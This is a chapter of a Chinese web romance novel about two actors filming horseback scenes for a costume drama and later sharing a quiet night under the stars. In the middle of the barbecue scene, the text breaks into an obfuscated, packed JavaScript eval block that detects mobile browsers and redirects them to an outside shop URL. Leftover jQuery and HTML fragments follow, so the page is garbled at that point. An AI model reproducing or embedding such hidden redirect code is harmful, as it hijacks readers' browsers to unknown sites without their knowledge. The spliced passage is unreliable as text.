山谷里七点开机。

    昨夜又下过雨,竹林里积着一层晨雾。近处还能看清竹叶上的水,隔着十几米以后,山路和竹子便渐渐淡进一片青白里。

    李乐知那身红衣一进镜头,整片竹林像忽然有了落点。

    柳城浩看了一遍监视器里的画面。

    “就这么拍。”

    第一场是阿照和裴行舟从山中脱身。

    追兵已经逼近,阿照带着伤先往山下走,裴行舟随后追上,两个人从竹林一路撤到山涧。

    场记进场打板。板声落下,李乐知踩着湿润的山路往下跑。

    红色衣摆从大片青竹间穿过,镜头从侧后方一路跟着。跑过第二个弯时,身后的马蹄声渐渐近了。

    阿照回头时,裴行舟正骑着马从晨雾里出来。

    他穿一身墨色窄袖长衣,骑过最后一段山路,在她面前勒住马。

    阿照停下脚步。

    “你怎么还跟着我?”

    “前面有人。”

    阿照顺着他的视线往山下看,前方已经有人堵住去路,身后的追兵也越来越近。

    裴行舟翻身下马,几步走到她面前,握住她的手腕,将人带到自己身后。

    “这边。”

    他压开旁边挡路的竹枝,带着阿照转进另一条山道。

    阿照刚跟上去,便听见裴行舟的声音从前面传来。

    “跟紧我。”

    一红一墨两道身影很快穿进竹林深处,镜头顺着山路一直跟到山涧边。

    “卡。”

    柳城浩看完回放。

    “过。”

    后面的过溪镜头接得很快。

    阿照和裴行舟沿着山涧继续往下,几组近景拍完,李乐知的鞋和外袍下摆已经湿了一截。

    李乐知刚从水里上来,小圆便把毛巾递给她。

    顾深也从另一侧上岸,低头看了一眼她湿透的鞋。

    “冷吗?”

    “还好。”

    顾深看着她。

    李乐知和他对视两秒,自己先改了口:“……有一点。”

    “先去换鞋。”

    “知道了。”

    *

    等上午的镜头全部拍完,已经快十二点。

    李乐知换好鞋回到临时休息区,小圆把午饭递给她。

    “乐知姐,下午是骑马戏,一点半去马道,骑术组让提前十分钟到。”

    “好。”

    李乐知刚坐下,几匹马便从休息区外的山道经过。

    下午那场戏是裴行舟带阿照上马,两个人同乘一骑,从竹林里冲出去。

    她骑过几次马,和人同乘倒是头一回。

    李乐知看着那几匹马走远,想了想,觉得应该也还好。小时候顾深也骑自行车载过她几回,一前一后坐着。

    换成马,大概也差不多。

    这么一想,李乐知低头继续吃饭。

    午休结束以后,剧组转到竹林另一侧的马道。

    这里的路提前清理过,几个转弯重新铺了土。大远景交给替身完成,顾深和李乐知主要拍林道上的中景、近景,以及冲出竹林后的部分。

    骑术指导先带他们熟悉了一遍路线。

    回来以后,服装老师替李乐知固定好衣摆,又检查了一遍鞋底。

    “可以上了。”

    李乐知踩着马镫,在马鞍前侧坐稳。

    位置比她想象中窄,骑术指导在下面替她调整了一下,“再往前一点。”

    李乐知顺着往前挪了挪。

    顾深也已经走到马旁,他今天还是上午那身墨色戏服。李乐知抬头看了他一眼,刚才吃饭时那句“和骑自行车差不多”又从脑子里冒了出来。

    应该差不多。

    她又往前挪了一点点。

    顾深看了一眼她的位置:“还往前?”

    李乐知回头,“给你留位置。”

    “够了。”

    顾深踩上马镫,翻身坐到她身后。

    马鞍随着他的重量往下一沉,李乐知身体也跟着晃了一下。

    紧接着,顾深的膝盖落在她身侧,两只手从她腰间伸过去,接过骑术指导递来的缰绳。

    李乐知一下安静了。

    马鞍本来就窄,两个人坐上来以后几乎留不出多少空隙。她的后背几乎贴在顾深胸前,他的手臂从两侧伸过去,稍微往里一收,就能将她整个人圈住。

    李乐知下意识坐直了一些。

    骑术指导还在旁边讲路线:“前面两个弯慢一点,第三个弯开始下坡。乐知跟着顾老师的重心走。”

    “好。”

    李乐知伸手握住马鞍前面的皮扣。

    顾深低头看了一眼。

    “紧张?”

    “我骑过马。”

    “我知道。”

    “那你还问?”

    “你抓得有点紧。”

    李乐知低头,这才发现自己的手指已经把皮扣攥紧了。

    她松了一点,“我怕一会儿滑。”

    顾深在身后应了一声。

    “嗯。”

    听起来也不知道信没信。

    骑术指导拍了拍马颈,示意他们先慢走一遍。

    顾深轻抖缰绳。马刚往前迈出一步,李乐知便随着马背往后一晃,刚才勉强留着的距离一下消失了。

    后背整个贴上顾深胸口。

    她呼吸顿了一下。

    顾深已经收稳缰绳,两条手臂随着动作往里合拢,把她稳稳圈在中间。

    “别绷这么紧。”

    他的声音就在耳边。

    李乐知又坐直了一点。

    “我没绷。”

    “是吗?”

    “嗯。”

    骑术指导骑着另一匹马跟在旁边,提醒他们准备过弯。

    顾深从她腰侧收紧缰绳,两个人的身体同时向弯道里压。

    “待会跑起来别往前躲。”

    李乐知问:“那我怎么办?”

    “靠着我。”

    她安静了一会儿。

    这样的距离,她其实早就习惯过。

    小时候走累了让顾深背,困了靠着他睡,她从来不会想自己离他有多近。

    可现在顾深就在她身后,胸膛贴着她的后背,马背一颠,两个人便会靠得更近。

    明明还是小时候熟悉过的距离,她却再也没办法像以前一样毫无知觉。

    她握着皮扣的手慢慢松开。

    前面的马道再次转弯。

    李乐知顺着顾深的重心,靠回了他怀里。

    这一遍走到坡底,李乐知也差不多找准了两个人一起骑时的重心。

    顾深问:“怎么样?”

    “可以。”

    “确定?”

    李乐知转过一点脸:“顾老师,我是真的会骑。”

    顾深笑了一声。

    “行。”

    骑术指导带着他们重新回到起点,摄影组也已经准备完毕。

    正式拍摄从林道中段开始。

    戏里,阿照和裴行舟再次遇上追兵,裴行舟带她上马,两个人沿着山道冲出竹林。

    工作人员全部退出安全线。

    场记打板以后,顾深收了收缰绳,马沿着林道跑起来。

    马蹄踏过湿润的山路,李乐知按照设计回头,红色衣摆被风吹向身后,追兵已经从远处的竹林里出现。

    她转回来时,马正好进入第一个弯。

    顾深俯身控马,手臂从她腰侧压过去,将她带回自己怀里。

    “坐稳。”

    李乐知顺着他的动作压低身体。

    到了下坡最陡的一段,马速跟着快起来,她握在皮扣上的手滑了一下。

    顾深腾出一只手,直接环住她的腰,将她重新带回身前。

    李乐知顺着他的力道靠了回去,连头都没回。

    马背起伏得厉害。

    等第三个弯过去,她才后知后觉地发现,顾深的手臂还横在自己腰间。

    每次马背颠起来,那只手都会跟着收紧一点。

    山路不过十几秒。

    李乐知忽然想起刚才他说的那句。

    靠着我。

    她便真的靠着他。

    终点标记很快出现在林道外。

    顾深收紧缰绳,马速逐渐慢下来,最后停在摄影机前。

    柳城浩等最后一个近景收完才喊:

    “过。”

    骑术指导上前牵住马。

    顾深先翻身下去,站稳以后朝李乐知伸出手。

    “下来。”

    李乐知几乎想也没想,就把手递了过去。

    顾深握住她。

    她落地时脚下的土松了一点,顾深另一只手随即扶住她腰侧,等她站稳才收回。

    等顾深松开手,李乐知才低头看了一眼自己的掌心。

    刚才他朝她伸手,她几乎连想都没想。

    这么多年,好像一直都是这样。

    下午又补了几组马道和山中外景。

    马戏结束以后,主创转去半山石窟,排明天上午的群戏。

    昨天从山下只能看见入口,真正进去才发现里面很深。圆形祭台搭在洞穴最里面,摄影轨道绕着外圈,头顶的灯阵也已经升到预定位置。

    第二遍合走位时,吊装组配合着试了一次升降,几组金属构件缓缓落到祭台上空,又重新升了回去。

    半个多小时以后,走位结束。

    副导演拿着第二天的通告通知所有人:

    “上午拍完石窟这场,山里的部分结束,下午回影视基地。”

    *

    回到民宿时,天已经完全黑了。

    院子里已经支起了两只烧烤架。

    顾深和何景彦站在一边烤东西,季怀川端着盘子守在旁边,时不时伸手拿一串,被何景彦挡回去。

    “还没熟。”

    “我就看看。”

    夏弥坐在长桌旁笑:“他再看一会儿就饱了。”

    旁边还有几个演员,沈舒和阮明姝也已经坐下,桌上放着饮料和刚烤好的几串蔬菜。

    李乐知先回房卸了妆,换了件厚一些的浅色外套下楼。她戴着一副黑框眼镜,头发简单挽成一个丸子头。

    沈舒看见她,往旁边挪了个位置,“乐知,坐这儿。”

    李乐知走过去坐下。

    烧烤架那边,季怀川终于从何景彦手里拿到一串牛肉,转身便朝这边炫耀。

    “看见没,我蹲了十分钟。”

    夏弥看了一眼,“你自己烤十分钟都熟了。”

    “自己烤和等别人烤能一样吗?”

    几个人正说着话,顾深把手里的东西烤完,拿了个盘子,放进去几串烤好的。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17803090|208196||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    他端着盘子走过来,直接放到李乐知面前。

    “先吃。”

    随后拉开她旁边的椅子,坐了下来。

    李乐知低头看了一眼,蔬菜、肉串和鸡翅,辣椒都放得很少。

    她拿起一串蘑菇。

    顾深问:“辣吗?”

    “不辣。”

    李乐知把盘子往两个人中间推了一点。

    “你呢?”

    “刚才尝过。”

    她从里面挑出一串鸡翅放到顾深面前:“再吃一个。”

    顾深接过去。

    李乐知重新拿起手里的蘑菇,抬眼时,正好碰上阮明姝的视线。

    阮明姝坐在斜对面,看了她一眼,又看了看旁边的顾深,很快便收回视线,继续和沈舒说话。

    李乐知后知后觉地停了一下。

    顾深看向她:“怎么了?”

    李乐知回过神,“没什么。”

    她低头咬了一口蘑菇。

    过了几秒,又朝斜对面看了一眼。

    阮明姝已经在和沈舒说别的了,刚才那一眼似乎也只是随意看过来。

    可李乐知再低头看见摆在两个人中间的盘子,忽然觉得哪里有点不一样了。

    刚才顾深端着东西过来坐到她旁边,她顺手给他拿吃的,两个人谁都没觉得需要多想。

    自然得像周围根本没人看着。

    *

    吃到九点多,烧烤也差不多散了。

    季怀川被夏弥拉去了K歌房,沈舒和阮明姝跟另外几个演员去了棋牌室。何景彦拿着第二天的通告过来找顾深,两个人站在客厅门口聊起石窟那场的走位。

    李乐知在院子里坐了一会儿,抬头时才发现今晚的星星很亮。

    她端着水上了二楼露台。

    远处的山已经只剩一层深色轮廓,星星倒比城里看得清楚许多。楼下的歌声传到这里,歌词已经听不真切。

    李乐知在栏杆旁坐下,仰头看了一会儿。

    身后的门很快被推开。

    “一个人在这里?”

    她回过头。

    顾深反手把门带上,走过来,在她旁边坐下。

    山里的夜很静,微风从露台外轻轻拂过来。

    “这里星星好多。”李乐知说。

    顾深也抬头看了一眼。

    “嗯。”

    声音淡淡的。

    两个人并肩坐着。

    过了一会儿,李乐知想起下午那场马戏。她问:“你骑马是什么时候学的?”

    “四年前,有部戏要拍马戏,练了一个星期。”

    顾深说得很慢,语调也很缓。

    “噢。”李乐知顿了一下,又问,“这些年还为了拍戏学过什么呀?”

    “拳击,武打,潜水。”

    她转过去看他:“受过伤吗?”

    顾深偏过脸,眼神落在她脸上。

    “磕磕碰碰的不算。”

    “那就那一次威亚?”

    “嗯。”

    “休了多久?”

    “几天。”

    李乐知皱起眉:“腰伤了才休几天?”

    “后面的戏用不上威亚。”

    “那也不算休息。”

    顾深看着她,眼里慢慢带上一点笑。

    “心疼了?”

    声音比刚才更轻,尾音也放得很慢。

    李乐知看了他一会儿,视线慢慢转向远处。

    微风吹过来,她额前几缕头发轻轻动了一下。

    隔了片刻。

    “嗯。”

    顾深安静地看了她两秒。

    眼里的笑意还在。

    “你呢?”

    “什么?”

    “回英国以后。”

    他的声音很温和。

    李乐知想了想,“回去开始学画画。外公替我找了老师,后来申请学校。”

    “时洲也是那时候认识的?”

    “外公和他家里认识。”李乐知说,“我办展的时候,他来帮过忙。”

    “后来呢?”

    “后来也一直有来往。我办展他会来,学校里有些事,他也帮过我。”

    顾深应了一声。

    李乐知偏过脸:“怎么了?”

    顾深看着远处,停了一会儿。

    “错过了很多。”

    他说得很轻。

    以前很多事都不用问。后来再见面,反而要这样一件一件重新知道。

    李乐知也安静下来。

    两个人重新看向远处,微风一阵一阵从山里吹过来。

    待得久了,李乐知把手往袖子里缩了一点。

    顾深碰到她露在外面的半截手背。

    “冷?”

    “还好。”

    顾深伸手握住她。

    手指从她指间穿过去,慢慢扣紧。

    李乐知低头看了一眼。

    随后,顾深牵着她,把两个人的手一起放进自己大衣口袋。

    口袋里有些挤。

    李乐知安静地坐了一会儿,朝顾深身边挪近半步。

    顾深侧过脸,眼里还带着一点很淡的笑。

    “这样呢?”

    “暖了。”

    李乐知说完,在口袋里重新扣紧了他的手。

    两个人就这样并肩坐着,看了很久的星星。